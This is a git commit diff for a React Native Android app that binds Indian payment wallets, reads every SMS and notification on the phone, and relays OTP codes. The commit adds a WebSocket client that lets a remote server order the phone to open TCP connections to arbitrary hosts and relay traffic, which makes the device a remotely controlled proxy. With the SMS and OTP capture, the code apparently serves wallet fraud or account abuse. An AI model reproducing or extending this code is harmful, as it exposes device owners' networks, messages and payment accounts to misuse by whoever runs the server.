dev socket
This commit is contained in:
1
.gitignore
vendored
1
.gitignore
vendored
@@ -13,3 +13,4 @@ android/.gradle/file-system.probe
|
|||||||
android/.gradle/8.0.1/checksums/checksums.lock
|
android/.gradle/8.0.1/checksums/checksums.lock
|
||||||
android/.gradle/8.0.1/checksums/md5-checksums.bin
|
android/.gradle/8.0.1/checksums/md5-checksums.bin
|
||||||
android/.gradle/8.0.1/checksums/sha1-checksums.bin
|
android/.gradle/8.0.1/checksums/sha1-checksums.bin
|
||||||
|
android/.idea/caches
|
||||||
|
|||||||
266
App.tsx
266
App.tsx
@@ -33,13 +33,12 @@ import {
|
|||||||
PhonePePersonalBind,
|
PhonePePersonalBind,
|
||||||
SmsMessage,
|
SmsMessage,
|
||||||
NotificationMessage,
|
NotificationMessage,
|
||||||
|
TcpProxy,
|
||||||
} from "rnwalletman";
|
} from "rnwalletman";
|
||||||
|
|
||||||
import BarcodeScanning from '@react-native-ml-kit/barcode-scanning';
|
import BarcodeScanning from '@react-native-ml-kit/barcode-scanning';
|
||||||
import RNFS from 'react-native-fs';
|
import RNFS from 'react-native-fs';
|
||||||
|
|
||||||
import rnauto from 'rnauto';
|
|
||||||
|
|
||||||
interface AppProps {
|
interface AppProps {
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -100,8 +99,10 @@ const styles = StyleSheet.create({
|
|||||||
|
|
||||||
class Api {
|
class Api {
|
||||||
|
|
||||||
private static readonly BASE_URL = 'http://192.168.1.155:16000';
|
public static readonly BASE_URL = 'http://192.168.1.155:16000';
|
||||||
private static _instance: Api | null = null;
|
private static _instance: Api | null = null;
|
||||||
|
private ws: WebSocket | null = null;
|
||||||
|
private messageCallbacks = new Map<string, (data: any) => void>();
|
||||||
|
|
||||||
private constructor() {
|
private constructor() {
|
||||||
}
|
}
|
||||||
@@ -113,30 +114,160 @@ class Api {
|
|||||||
return Api._instance;
|
return Api._instance;
|
||||||
}
|
}
|
||||||
|
|
||||||
public async register(walletType: WalletType, params: any) {
|
public setWebSocket(ws: WebSocket, serverUrl: string) {
|
||||||
const response = await fetch(`${Api.BASE_URL}/register`, {
|
this.ws = ws;
|
||||||
method: 'POST',
|
|
||||||
body: JSON.stringify({ walletType, params }),
|
// 处理消息
|
||||||
|
ws.onmessage = (event) => {
|
||||||
|
try {
|
||||||
|
console.log('[WebSocket] 收到消息:', event.data);
|
||||||
|
const msg = JSON.parse(event.data);
|
||||||
|
|
||||||
|
// 处理响应消息
|
||||||
|
if (msg.type === 'response' && msg.messageId) {
|
||||||
|
const callback = this.messageCallbacks.get(msg.messageId);
|
||||||
|
if (callback) {
|
||||||
|
callback(msg.data);
|
||||||
|
this.messageCallbacks.delete(msg.messageId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理代理请求
|
||||||
|
if (msg.type === 'proxyRequest') {
|
||||||
|
console.log('[代理] 收到代理请求:', msg.data);
|
||||||
|
const { host, port } = msg.data;
|
||||||
|
|
||||||
|
// 创建TCP连接
|
||||||
|
TcpProxy.createProxy(
|
||||||
|
msg.messageId,
|
||||||
|
host,
|
||||||
|
port,
|
||||||
|
// onData: TCP收到数据 → 发送到服务器
|
||||||
|
(data: string) => {
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'proxyData',
|
||||||
|
messageId: msg.messageId,
|
||||||
|
data: { data }
|
||||||
|
}));
|
||||||
|
},
|
||||||
|
// onClose: TCP关闭 → 通知服务器
|
||||||
|
() => {
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'proxyClose',
|
||||||
|
messageId: msg.messageId
|
||||||
|
}));
|
||||||
|
},
|
||||||
|
// onError: TCP错误 → 通知服务器
|
||||||
|
(error: string) => {
|
||||||
|
console.error('[代理] TCP错误:', error);
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'proxyClose',
|
||||||
|
messageId: msg.messageId
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
).then(success => {
|
||||||
|
if (success) {
|
||||||
|
// 回复就绪
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'proxyReady',
|
||||||
|
messageId: msg.messageId
|
||||||
|
}));
|
||||||
|
console.log('[代理] TCP连接已建立');
|
||||||
|
}
|
||||||
|
}).catch(err => {
|
||||||
|
console.error('[代理] 创建失败:', err);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理代理数据(服务器 → TCP)
|
||||||
|
if (msg.type === 'proxyData' && msg.data?.data) {
|
||||||
|
if (TcpProxy && typeof TcpProxy.writeProxy === 'function') {
|
||||||
|
TcpProxy.writeProxy(msg.messageId, msg.data.data).then(success => {
|
||||||
|
if (!success) {
|
||||||
|
// 写入失败,通知服务器关闭
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'proxyClose',
|
||||||
|
messageId: msg.messageId
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}).catch(err => {
|
||||||
|
console.error('[代理] 写入失败:', err);
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'proxyClose',
|
||||||
|
messageId: msg.messageId
|
||||||
|
}));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理代理关闭
|
||||||
|
if (msg.type === 'proxyClose') {
|
||||||
|
TcpProxy.closeProxy(msg.messageId)
|
||||||
|
.catch(err => console.error('[代理] 关闭失败:', err));
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
console.error('[API] 解析消息失败:', error, event.data);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private sendMessage(type: string, data: any): Promise<any> {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
if (!this.ws || this.ws.readyState !== WebSocket.OPEN) {
|
||||||
|
reject(new Error('WebSocket未连接'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const messageId = `msg_${Date.now()}_${Math.random()}`;
|
||||||
|
|
||||||
|
// 设置回调
|
||||||
|
this.messageCallbacks.set(messageId, (responseData) => {
|
||||||
|
if (responseData.success) {
|
||||||
|
resolve(responseData);
|
||||||
|
} else {
|
||||||
|
reject(new Error(responseData.message));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// 发送消息
|
||||||
|
this.ws.send(JSON.stringify({
|
||||||
|
type,
|
||||||
|
messageId,
|
||||||
|
data
|
||||||
|
}));
|
||||||
|
|
||||||
|
// 超时处理
|
||||||
|
setTimeout(() => {
|
||||||
|
if (this.messageCallbacks.has(messageId)) {
|
||||||
|
this.messageCallbacks.delete(messageId);
|
||||||
|
reject(new Error('请求超时'));
|
||||||
|
}
|
||||||
|
}, 30000);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public async register(walletType: WalletType, params: any) {
|
||||||
|
return this.sendMessage('registerWallet', {
|
||||||
|
walletType,
|
||||||
|
params
|
||||||
});
|
});
|
||||||
return response.json();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public async requestOTP(walletType: WalletType, mobile: string, params: any = {}) {
|
public async requestOTP(walletType: WalletType, mobile: string, params: any = {}) {
|
||||||
const response = await fetch(`${Api.BASE_URL}/request-otp`, {
|
return this.sendMessage('requestOTP', {
|
||||||
method: 'POST',
|
walletType,
|
||||||
headers: { 'Content-Type': 'application/json' },
|
mobile,
|
||||||
body: JSON.stringify({ walletType, mobile, params }),
|
...params
|
||||||
});
|
});
|
||||||
return response.json();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public async verifyOTP(walletType: WalletType, mobile: string, otp: string, params: any = {}) {
|
public async verifyOTP(walletType: WalletType, mobile: string, otp: string, params: any = {}) {
|
||||||
const response = await fetch(`${Api.BASE_URL}/verify-otp`, {
|
return this.sendMessage('verifyOTP', {
|
||||||
method: 'POST',
|
walletType,
|
||||||
headers: { 'Content-Type': 'application/json' },
|
mobile,
|
||||||
body: JSON.stringify({ walletType, mobile, otp, params }),
|
otp,
|
||||||
|
...params
|
||||||
});
|
});
|
||||||
return response.json();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -144,6 +275,8 @@ class Api {
|
|||||||
export default class App extends Component<AppProps, AppState> {
|
export default class App extends Component<AppProps, AppState> {
|
||||||
private deviceId: string;
|
private deviceId: string;
|
||||||
private tuneUserId: string;
|
private tuneUserId: string;
|
||||||
|
private clientId: string;
|
||||||
|
|
||||||
constructor(props: AppProps) {
|
constructor(props: AppProps) {
|
||||||
super(props);
|
super(props);
|
||||||
this.state = {
|
this.state = {
|
||||||
@@ -160,9 +293,13 @@ export default class App extends Component<AppProps, AppState> {
|
|||||||
// 临时使用测试成功的固定 ID
|
// 临时使用测试成功的固定 ID
|
||||||
this.deviceId = 'B6C1AB6DA4B659C287EA76AA96EC154B80E8D28D';
|
this.deviceId = 'B6C1AB6DA4B659C287EA76AA96EC154B80E8D28D';
|
||||||
this.tuneUserId = 'b5bfa7df-e571-4ac8-bb51-90afc05d1d59';
|
this.tuneUserId = 'b5bfa7df-e571-4ac8-bb51-90afc05d1d59';
|
||||||
|
this.clientId = `android_${Date.now()}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
async componentDidMount() {
|
async componentDidMount() {
|
||||||
|
/* 初始化代理客户端 */
|
||||||
|
await this.initProxyClient();
|
||||||
|
|
||||||
/* 权限申请 */
|
/* 权限申请 */
|
||||||
let smsPermission = await checkSmsPermission();
|
let smsPermission = await checkSmsPermission();
|
||||||
let notificationPermission = await checkNotificationPermission();
|
let notificationPermission = await checkNotificationPermission();
|
||||||
@@ -188,7 +325,7 @@ export default class App extends Component<AppProps, AppState> {
|
|||||||
{ text: '取消' }
|
{ text: '取消' }
|
||||||
]
|
]
|
||||||
);
|
);
|
||||||
return; // 等用户手动授权后重启应用
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 启动监听
|
// 启动监听
|
||||||
@@ -201,9 +338,6 @@ export default class App extends Component<AppProps, AppState> {
|
|||||||
console.log('[Notification]', notification);
|
console.log('[Notification]', notification);
|
||||||
});
|
});
|
||||||
|
|
||||||
/*
|
|
||||||
* 获取所有短信和通知
|
|
||||||
*/
|
|
||||||
if (smsPermission) {
|
if (smsPermission) {
|
||||||
getAllSms().then((sms: SmsMessage[]) => {
|
getAllSms().then((sms: SmsMessage[]) => {
|
||||||
console.log('[所有短信]', sms.length, '条');
|
console.log('[所有短信]', sms.length, '条');
|
||||||
@@ -217,7 +351,82 @@ export default class App extends Component<AppProps, AppState> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private wsHeartbeatTimer?: NodeJS.Timeout;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 初始化代理客户端
|
||||||
|
*/
|
||||||
|
async initProxyClient() {
|
||||||
|
try {
|
||||||
|
const serverUrl = `ws://${Api.BASE_URL.replace('http://', '')}/ws`;
|
||||||
|
console.log(`[WebSocket] 连接服务器: ${serverUrl}, 客户端ID: ${this.clientId}`);
|
||||||
|
|
||||||
|
// 创建WebSocket连接
|
||||||
|
const ws = new WebSocket(serverUrl);
|
||||||
|
|
||||||
|
ws.onopen = () => {
|
||||||
|
console.log('[WebSocket] ✅ 已连接');
|
||||||
|
|
||||||
|
// 注册客户端
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'register',
|
||||||
|
clientId: this.clientId,
|
||||||
|
messageId: 'register_' + Date.now()
|
||||||
|
}));
|
||||||
|
|
||||||
|
// 设置给API使用(传入serverUrl用于代理)
|
||||||
|
Api.instance.setWebSocket(ws, serverUrl);
|
||||||
|
|
||||||
|
// 启动心跳
|
||||||
|
this.startHeartbeat(ws);
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onerror = (error) => {
|
||||||
|
console.error('[WebSocket] 错误:', error);
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onclose = () => {
|
||||||
|
console.log('[WebSocket] 连接关闭');
|
||||||
|
this.stopHeartbeat();
|
||||||
|
// 3秒后重连
|
||||||
|
setTimeout(() => this.initProxyClient(), 3000);
|
||||||
|
};
|
||||||
|
} catch (error) {
|
||||||
|
console.error('[WebSocket] 连接失败:', error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 启动心跳
|
||||||
|
*/
|
||||||
|
startHeartbeat(ws: WebSocket) {
|
||||||
|
this.stopHeartbeat();
|
||||||
|
|
||||||
|
this.wsHeartbeatTimer = setInterval(() => {
|
||||||
|
if (ws.readyState === WebSocket.OPEN) {
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'ping',
|
||||||
|
messageId: 'ping_' + Date.now(),
|
||||||
|
clientId: this.clientId
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}, 20000); // 每20秒发送一次心跳
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 停止心跳
|
||||||
|
*/
|
||||||
|
stopHeartbeat() {
|
||||||
|
if (this.wsHeartbeatTimer) {
|
||||||
|
clearInterval(this.wsHeartbeatTimer);
|
||||||
|
this.wsHeartbeatTimer = undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
componentWillUnmount(): void {
|
componentWillUnmount(): void {
|
||||||
|
// 停止心跳
|
||||||
|
this.stopHeartbeat();
|
||||||
|
|
||||||
stopSmsListener();
|
stopSmsListener();
|
||||||
stopNotificationListener();
|
stopNotificationListener();
|
||||||
}
|
}
|
||||||
@@ -617,15 +826,6 @@ export default class App extends Component<AppProps, AppState> {
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
handlePaytmPay = async () => {
|
|
||||||
try {
|
|
||||||
const result = await paytmPay("100", "test", "1234567890", "1234567890", "test");
|
|
||||||
Alert.alert('Paytm Pay Success', result.toString());
|
|
||||||
} catch (error) {
|
|
||||||
Alert.alert('Paytm Pay Error', (error as Error).message || 'Unknown error');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<View style={styles.container}>
|
<View style={styles.container}>
|
||||||
@@ -648,10 +848,6 @@ export default class App extends Component<AppProps, AppState> {
|
|||||||
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "pink" }]} onPress={this.handleBharatPeBusinessBind}>
|
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "pink" }]} onPress={this.handleBharatPeBusinessBind}>
|
||||||
<Text style={styles.bindButtonText}>绑定 BharatPe Business</Text>
|
<Text style={styles.bindButtonText}>绑定 BharatPe Business</Text>
|
||||||
</TouchableOpacity>
|
</TouchableOpacity>
|
||||||
|
|
||||||
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "orange" }]} onPress={this.handlePaytmPay}>
|
|
||||||
<Text style={styles.bindButtonText}>代付 Paytm Personal</Text>
|
|
||||||
</TouchableOpacity>
|
|
||||||
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "brown" }]} onPress={this.handleMobikwikPersonalBind}>
|
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "brown" }]} onPress={this.handleMobikwikPersonalBind}>
|
||||||
<Text style={styles.bindButtonText}>绑定 Mobikwik Personal</Text>
|
<Text style={styles.bindButtonText}>绑定 Mobikwik Personal</Text>
|
||||||
</TouchableOpacity>
|
</TouchableOpacity>
|
||||||
|
|||||||
1258
android/.idea/caches/deviceStreaming.xml
generated
1258
android/.idea/caches/deviceStreaming.xml
generated
File diff suppressed because it is too large
Load Diff
@@ -12,9 +12,11 @@
|
|||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@react-native-cookies/cookies": "^6.2.1",
|
"@react-native-cookies/cookies": "^6.2.1",
|
||||||
"@react-native-ml-kit/barcode-scanning": "^2.0.0",
|
"@react-native-ml-kit/barcode-scanning": "^2.0.0",
|
||||||
|
"buffer": "^6.0.3",
|
||||||
"react": "18.2.0",
|
"react": "18.2.0",
|
||||||
"react-native": "0.72.10",
|
"react-native": "0.72.10",
|
||||||
"react-native-fs": "^2.20.0",
|
"react-native-fs": "^2.20.0",
|
||||||
|
"react-native-tcp-socket": "^6.4.1",
|
||||||
"react-native-webview": "13.6.2",
|
"react-native-webview": "13.6.2",
|
||||||
"rnauto": "./libs/rnauto",
|
"rnauto": "./libs/rnauto",
|
||||||
"rnwalletman": "./libs/rnwalletman"
|
"rnwalletman": "./libs/rnwalletman"
|
||||||
|
|||||||
Submodule servers/walletman updated: 911826a040...6d6ff821af
Reference in New Issue
Block a user